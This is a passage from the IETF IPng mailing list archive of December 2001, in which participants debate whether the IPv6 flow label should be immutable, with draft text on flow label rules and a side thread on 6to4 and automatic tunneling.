use is not supported, it is set to zero when originating the packet, passed on unchanged when forwarding the packet, and ignored when receiving the packet. 2.1.1 Appendix A - Semantics and Usage of the Flow Label Field The characteristics of IPv6 flows and flow labels, and the rules that govern the flow label functions are further defined in [RFC2460] Appendix A (non-normative text). Background information on the documented semantics can be found in [RFC1809]. According to [RFC2460], the nature of the special handling might be conveyed to the routers by a control protocol, such as a resource reservation protocol, or by information within the flow's packets themselves, e.g., in a hop-by-hop option. Too Restricted Flow Classifier The rule (a) states that a flow is uniquely identified by the source address and the flow label. Rule (e) states that all the packets in the flow must also have the same destination address. This means that the source may not use the same flow label value for flows to two different destination addresses. As stated above, this is in violation with RSVP model, but also is unnecessarily hindering introduction of other flow state establishment methods. 2.2.3 RSVP/Integrated Services Specific Rules The rules (f) and (g) state that any hop-by-hop or routing headers must be the same for all packets in a flow. This matches the Intserv practice of nailing down the path for the flow. The intent has probably been to enable the router to by-pass next-hop look-up and to supply pre-processed routing header contents for the packets in the flow. These rules are clearly specific to the RSVP flow state establishment method, and should not be required of flows in general. The RSVP flow state establishment method would still mandate these rules for Integrated Services flows. The forwarding path of a IntServ capable router would also be able to enforce these rules for IntServ flows. 2.2.4 Too Restricting Rule for Flow Label Value Re-use The rule (j) defines guard periods on re-use of flow label values. This is too restrictive even in the case of Intserv flows. There would be no harm in a (rebooted) node reusing a flow label value, as the RSVP signaling would enable the routers to flush any old state for the same flow classifier. 2.2.5 Unnecessary Rule for Flow Label Value Selection Finally, it has been concluded that routers can't actually rely on the random distribution of the flow label values as required by the rule (d). In practice routers MUST be able to utilize algorithms that do not depend on the statistical distribution of the flow label values. Therefore, the rule (d) SHOULD be relaxed for flow labels in general. However, specific flow state establishment methods MAY still use pseudo-random numbers as flow label values. Appendix A: Why no Flow Label Format? The choice to not introduce any internal format for the flow label represents the "minimal modification" policy and is intended to ease the process of the acceptance of this specification by the IPv6 community. This is also in line with the removal of any "flags" from the IPv6 main header design, and the recent deprecation of the term "format prefix" in conjunction of IPv6 addresses. In the same way as next-hop lookup should function independent of any "format prefixes" or administrative boundaries in the IPv6 addresses, the flow label lookup should remain independent of any possible internal structure for the flow label values themselves. Abstaining from eating in to the 20 bits of the flow label also keeps maximal possibilities open for future refinement of this specification. Appendix B: Why no Pseudo-Random Values? [RFC2460] motivates the requirement for pseudo random flow label field with easing the hash key computation in routers doing flow classification. Hashing has to deal with the problem of large hash buckets due to unbalanced hash key distribution. If the router trusts on the hosts to generate good hash keys, it places itself on the mercy of the hosts. A not-so-good generator in any widely used host platform may become problematic for the router. In recent years the hardware implementations of the classifiers have advanced, and schemes like search trees and Content Addressable Memory (CAM) are widely used for classification. It is the authors' view that the flow label specification SHOULD NOT favor any individual classification implementation strategy, especially when it provides no functional value for the purpose of the flow label itself, and seems to hinder future use of the flow label for non- signaled flow state establishment methods. Hash implementations in routers can compute a hash key over the (source address, flow label, destination address) triplet. References ... -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 22 03:44:14 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBMBiEZR006706 for ; Sat, 22 Dec 2001 03:44:14 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBMBiE7Q006705 for ipng-dist; Sat, 22 Dec 2001 03:44:14 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBMBiBZR006698 for ; Sat, 22 Dec 2001 03:44:11 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA27911 for ; Sat, 22 Dec 2001 03:44:11 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA08124 for ; Sat, 22 Dec 2001 03:44:10 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBMBhRk01529; Sat, 22 Dec 2001 18:43:27 +0700 (ICT) From: Robert Elz To: Michael Thomas cc: "Hesham Soliman (ERA)" , jarno.rajahalme@nokia.com, Francis.Dupont@enst-bretagne.fr, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-Reply-To: <15395.31987.240571.416493@thomasm-u1.cisco.com> References: <15395.31987.240571.416493@thomasm-u1.cisco.com> <15395.27066.627516.132289@thomasm-u1.cisco.com> <4DA6EA82906FD511BE2F00508BCF053801C4C16C@Esealnt861.al.sw.ericsson.se> <2371.1008932621@brandenburg.cs.mu.OZ.AU> <3933.1008954966@brandenburg.cs.mu.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 22 Dec 2001 18:43:27 +0700 Message-ID: <1527.1009021407@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Fri, 21 Dec 2001 10:18:27 -0800 (PST) From: Michael Thomas Message-ID: <15395.31987.240571.416493@thomasm-u1.cisco.com> | Um, no. I don't want my telephant's local policy -- Then leave them - they'll never learn as long as people just accept it. | Yes, yes, big deal. They wanted to support | first hop rewrite, it got a negative reaction | and from what I can tell they're not wedded to | that piece. Do you actually disagree, or are | you just being argumentative? I am trying to find out what the actual harm would be in reserving exactly one value for the flow-id field with a meaning defined as "I don't care if this is altered by the network for its purposes". No-one would have to use that value if they cared about immutability - just use some different one. So far, I see no evidence of harm at all - nothing more than queasiness at the thought of the network altering anything in a packet, even when the source host has said it is OK for it to be altered (I'm not sure how you cope with the hop limit field, or source routing). Unless someone can show that some actual harm can be caused by by this, then I'm finding it hard to understand why anyone would want to prohibit it. It all seems to be a case of "I would never want to use this, therefore you are not allowed to use it either". kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 22 07:07:17 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBMF7HZR007102 for ; Sat, 22 Dec 2001 07:07:17 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBMF7Hrw007101 for ipng-dist; Sat, 22 Dec 2001 07:07:17 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBMF7EZR007094 for ; Sat, 22 Dec 2001 07:07:14 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA28824 for ; Sat, 22 Dec 2001 07:07:14 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA17336 for ; Sat, 22 Dec 2001 08:08:02 -0700 (MST) Received: from IPv16 (as1b-67.chi.il.dial.anet.com [198.92.157.67]) by zeus.anet-chi.com (8.12.1/8.12.0) with SMTP id fBMF3b4e001743; Sat, 22 Dec 2001 09:03:38 -0600 (CST) Message-ID: <008e01c18afb$da3f7220$1000a8c0@Unir.com> From: "Jim Fleming" To: "Robert Elz" , "Michael Thomas" Cc: "Hesham Soliman \(ERA\)" , , , , References: <15395.31987.240571.416493@thomasm-u1.cisco.com> <15395.27066.627516.132289@thomasm-u1.cisco.com> <4DA6EA82906FD511BE2F00508BCF053801C4C16C@Esealnt861.al.sw.ericsson.se> <2371.1008932621@brandenburg.cs.mu.OZ.AU> <3933.1008954966@brandenburg.cs.mu.OZ.AU> <1527.1009021407@brandenburg.cs.mu.OZ.AU> Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Date: Sat, 22 Dec 2001 09:17:58 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk ----- Original Message ----- From: "Robert Elz" > one. So far, I see no evidence of harm at all - nothing more than > queasiness at the thought of the network altering anything in a packet, > even when the source host has said it is OK for it to be altered (I'm not > sure how you cope with the hop limit field, or source routing). > The "network" is defined by the boundary encompassing all interconnected systems which exchange packets without changing fields required to make the "network", the "network", as opposed to a "notwork". If someone or some company starts changing fields and breaks the "network", then they are not part of the "network". IPNG is not IPv6 it is IPv4 with some extensions and changes that do not break things. There will be many extensions and changes that do not break anything, and the collection of extensions can be called IPv8. Even the 2002 extended addressing added to IPv4 via AAAA DNS triggers falls into the IPv4++ or IPv8 C@tegory. All of the TOS, TTL, RIFRAF and other forms of mangling fall into the IPv8 swamp. For people wishing to send fields of data from one end of the "network" to the other, without being changed, there are UDP and TCP formats for that. You tuck the data inside and it generally does not get changed. If it does get changed, then that system making the changes falls outside of the "network". Those systems make up the "swamp", an unstable collection of stuff that floats between the users and the "network". At some point, people see the light and emerge from the swamp. They interconnect. They do that to exchange traffic efficiently in mutually beneficial locations. That forms another network which tends to be very stable and something people are not connected directly to and which most people do not touch. That is the high-ground called IPv16. Good luck in the swamp. Jim Fleming http://www.IPv8.info IPv16....One Better !! http://www.dot-biz.com/IPv4/Tutorial/ http://www.RepliGate.net The Netfilter Project: Packet Mangling for Linux 2.4 http://netfilter.samba.org -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 22 09:33:18 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBMHXIZR008341 for ; Sat, 22 Dec 2001 09:33:18 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBMHXIJK008340 for ipng-dist; Sat, 22 Dec 2001 09:33:18 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBMHXFZR008333 for ; Sat, 22 Dec 2001 09:33:15 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA10900 for ; Sat, 22 Dec 2001 09:33:13 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA17074 for ; Sat, 22 Dec 2001 10:33:12 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBMHX8b25101; Sat, 22 Dec 2001 18:33:08 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id SAA16325; Sat, 22 Dec 2001 18:33:08 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBMHX8D00566; Sat, 22 Dec 2001 18:33:08 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112221733.fBMHX8D00566@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Brian E Carpenter Cc: ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-reply-to: Your message of Fri, 21 Dec 2001 12:13:04 +0100. <3C231940.58C94FAA@hursley.ibm.com> Date: Sat, 22 Dec 2001 18:33:08 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: >> PS: I can read between the lines that an end-to-end usage of > the flow label is proposed. IMHO this is only a waste of bits, > the flow label is in the header in order to be available to > intermediate nodes. For end-to-end options, a destination header > fits better. There's nothing between the lines: the argument is *very explicit* that we want e2e flow labels if they are to be of any use for QOS => I believe we have to define more accurately what are e2e flow labels: (1) information for the peer node (2) information for intermediate routers that doesn't change en route. (intserv, diffserv, or any future QOS solution). => so your interpretation is (2) An extension header is useless. It's too clumsy and too far down the packet for line-speed hardware matching. => but for (1) you should agree a destination option is better. Regards Francis.Dupont@enst-bretagne.fr PS: I agree with (2) if end-to-end stands for domains (with as constrainted as you'd like definition of a domain). -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 22 09:41:32 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBMHfWZR008366 for ; Sat, 22 Dec 2001 09:41:32 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBMHfVWo008365 for ipng-dist; Sat, 22 Dec 2001 09:41:31 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBMHfSZR008358 for ; Sat, 22 Dec 2001 09:41:28 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA04664 for ; Sat, 22 Dec 2001 09:41:30 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA03274 for ; Sat, 22 Dec 2001 09:41:29 -0800 (PST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBMHf8b25475; Sat, 22 Dec 2001 18:41:08 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id SAA16357; Sat, 22 Dec 2001 18:41:09 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBMHf8D00613; Sat, 22 Dec 2001 18:41:08 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112221741.fBMHf8D00613@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: "Hesham Soliman (ERA)" cc: "'jarno.rajahalme@nokia.com'" , kre@munnari.OZ.AU, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-reply-to: Your message of Fri, 21 Dec 2001 15:50:35 +0100. <4DA6EA82906FD511BE2F00508BCF053801C4C17E@Esealnt861.al.sw.ericsson.se> Date: Sat, 22 Dec 2001 18:41:08 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: > => I still don't understand what is the difference between > x and hash(P1 || P2 || x) where x can be something specific > to this flow. => Well it doesn't have to be flow specific. => you wrote "x can be something specific"... If you're trying to avoid exposing the encryption key, you can use x, where x is any number that both nodes are aware of. => I don't understand why the peer has to be aware of x. Do you want to provide QoS inside end nodes? IMHO this is not a bad idea because the CPU is far faster than I/O subsystems, i.e. this is the wrong place. BTW most implementations don't provide an API to get the received flow ID or label, just because this is not considered as useful. Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 06:13:29 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOEDTZR013419 for ; Mon, 24 Dec 2001 06:13:29 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBOEDSVs013418 for ipng-dist; Mon, 24 Dec 2001 06:13:28 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOEDPZR013411 for ; Mon, 24 Dec 2001 06:13:25 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA11668 for ; Mon, 24 Dec 2001 06:13:27 -0800 (PST) Received: from atalanta.ctd.anl.gov (atalanta.ctd.anl.gov [146.137.64.60]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA29524 for ; Mon, 24 Dec 2001 07:13:27 -0700 (MST) Received: from nomad.ctd.anl.gov (localhost [127.0.0.1]) by atalanta.ctd.anl.gov (8.9.1a/8.9.1) with ESMTP id IAA25503; Mon, 24 Dec 2001 08:13:07 -0600 (CST) Message-Id: <4.3.2.7.2.20011223101408.00b276c0@atalanta.ctd.anl.gov> X-Sender: b30118@atalanta.ctd.anl.gov (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sun, 23 Dec 2001 10:16:02 -0600 To: Brian E Carpenter , Tony Hain From: Richard Carlson Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Cc: Margaret Wasserman , ipng@sunroof.eng.sun.com In-Reply-To: <3C231AFC.6529C82D@hursley.ibm.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I concur. The flow label should be set by the source host and remain immutable as it travels over the network. Rich At 12:20 PM 12/21/01 +0100, Brian E Carpenter wrote: >Tony is 100% correct in all his comments. I'd add that >hop-by-hop options are not even on the radar screen for >hardware implementation, but for QOS flows we absolutely >need things that hardware can process at line speed. > > Brian > >Tony Hain wrote: > > > > Margaret Wasserman wrote: > > > What is wrong with a hop-by-hop option? Isn't that the "right" > > > mechanism for an IPv6 host to send a "message" that is processed > > > by all routers in the path? > > > > Hop-by-hop options will be slower to process, and the point is that the > > origin knows which packets belong together in any specific flow, and > > there is no way the routers can deduce that. If the origin specifies > > which packets belong together, there is no valid reason for anything > > along the path to decide otherwise. > > > > > >You are assuming that every router along the path is part of the same > > > >administrative system and would react consistently to the marking. > > > > > > No I'm not assuming that all routers in the path will understand > > > the flow label. I am assuming, though, that the flow label will > > > only be _useful_ within an administrative system that has > > > a consistent (or at least compatible) understanding of its meaning. > > > > I didn't state my argument clearly. I agree that not all routers along > > the path may care to pay attention, but as you said your assumption is > > that the ones that do are all are part of a single administrative > > system. This is not reasonable to assume in the general case, so what I > > am arguing is that routers in any independent administrative system in > > the path have consistent information to base decisions on. How they > > acquire the interpretation is independent of the fact that the bits are > > consistent throughout. > > > > > I don't understand how these three systems can usefully interpret > > > the same bits in two different ways. If I am choosing a random > > > flow label value at the source (with an "interactive system" that > > > indicates its meaning out-of-band), why won't I just get random > > > behaviour from the intermediate domain in your example? > > > > You might, but if we allow the intermediate domain to independently > > modify the bits there is no hope that the remote domain can get it > > right. As I said earlier, it is possible for the intermediate system to > > provide a predictable behavior based on the additional knowledge of FL > > without explicit knowledge of the semantics, but that might be more > > along the lines of drop-probability than EF or the like. > > > > > Then, why not leave the specification of flow label semantics and > > > rules to this same WG? > > > > Because the participants in those WGs have consistently proven they > > don't understand the concept of an architecturally consistent immutable > > field which the origin can trust. > > > > Tony > > >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- ------------------------------------ Richard A. Carlson e-mail: RACarlson@anl.gov Network Research Section phone: (630) 252-7289 Argonne National Laboratory fax: (630) 252-4021 9700 Cass Ave. S. Argonne, IL 60439 -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 07:05:56 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOF5uZR013732 for ; Mon, 24 Dec 2001 07:05:56 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBOF5u28013731 for ipng-dist; Mon, 24 Dec 2001 07:05:56 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOF5oZR013716; Mon, 24 Dec 2001 07:05:50 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA18854; Mon, 24 Dec 2001 07:05:51 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA07533; Mon, 24 Dec 2001 08:05:49 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id QAA08608; Mon, 24 Dec 2001 16:05:47 +0100 Received: from gsine01.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA48142 from ; Mon, 24 Dec 2001 16:05:39 +0100 Message-Id: <3C25F29C.241A4597@hursley.ibm.com> Date: Sun, 23 Dec 2001 16:05:01 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Pekka Savola Cc: Tony Hain , Vladislav Yasevich , ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Savola wrote: > > On Fri, 21 Dec 2001, Francis Dupont wrote: > > > => be serious, autotunnels are phased out, configured tunnels and 6to4 > > > are mutually exclusive... > > > > mutually exclusive? I don't think so. > > > > => if you have a configured tunnel you can use native addresses so > > you don't need a 6to4 router. They are mutually exclusive in practice > > site-locals (or even 6to4 /64's, for site-internal tunneling) could used > for configured tunneling in the presence of 6to4 :-). > > Relays are a difficult issue which IMO much less understandable. Yes, 6to4 relays are subversive; as I've said, I'm sure we'll end up with ACLs for relays or at least blacklisted relays. > > The issue is more about mutual exclusivity of autotunnel and 6to4, on > which I don't agree with your view.. But at least one of the addresses is 0/96 in the case of an automatic tunnel packet and 2002/16 in the case of a 6to4 packet. Doesn't seem to hard to distinguish. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 07:06:16 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOF6EZR013751 for ; Mon, 24 Dec 2001 07:06:14 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBOF6Esl013750 for ipng-dist; Mon, 24 Dec 2001 07:06:14 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOF69ZR013735 for ; Mon, 24 Dec 2001 07:06:09 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA26979 for ; Mon, 24 Dec 2001 07:06:09 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA20992 for ; Mon, 24 Dec 2001 08:06:08 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id QAA09644; Mon, 24 Dec 2001 16:06:06 +0100 Received: from gsine01.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA48148 from ; Mon, 24 Dec 2001 16:06:02 +0100 Message-Id: <3C25F560.BBD63F23@hursley.ibm.com> Date: Sun, 23 Dec 2001 16:16:48 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Glenn Morrow Cc: Margaret Wasserman , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <933FADF5E673D411B8A30002A5608A0E01449CD8@zrc2c012.us.nortel.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Glenn Morrow wrote: > If "function A" wants the field immutable so be it. The signaling for "function A" needs to convey the mutability rules to affected parties > either implicitly or by optionality. This is broken. You can't signal to routers that aren't aware of the "function A", because they won't be aware of the relevant signalling either. Also, we need to be able to construct signalling-free solutions (such as diffserv) for scalability. Immutability is the only viable answer. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 07:06:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOF6MZR013768 for ; Mon, 24 Dec 2001 07:06:22 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBOF6MlU013766 for ipng-dist; Mon, 24 Dec 2001 07:06:22 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOF64ZR013734; Mon, 24 Dec 2001 07:06:04 -0800 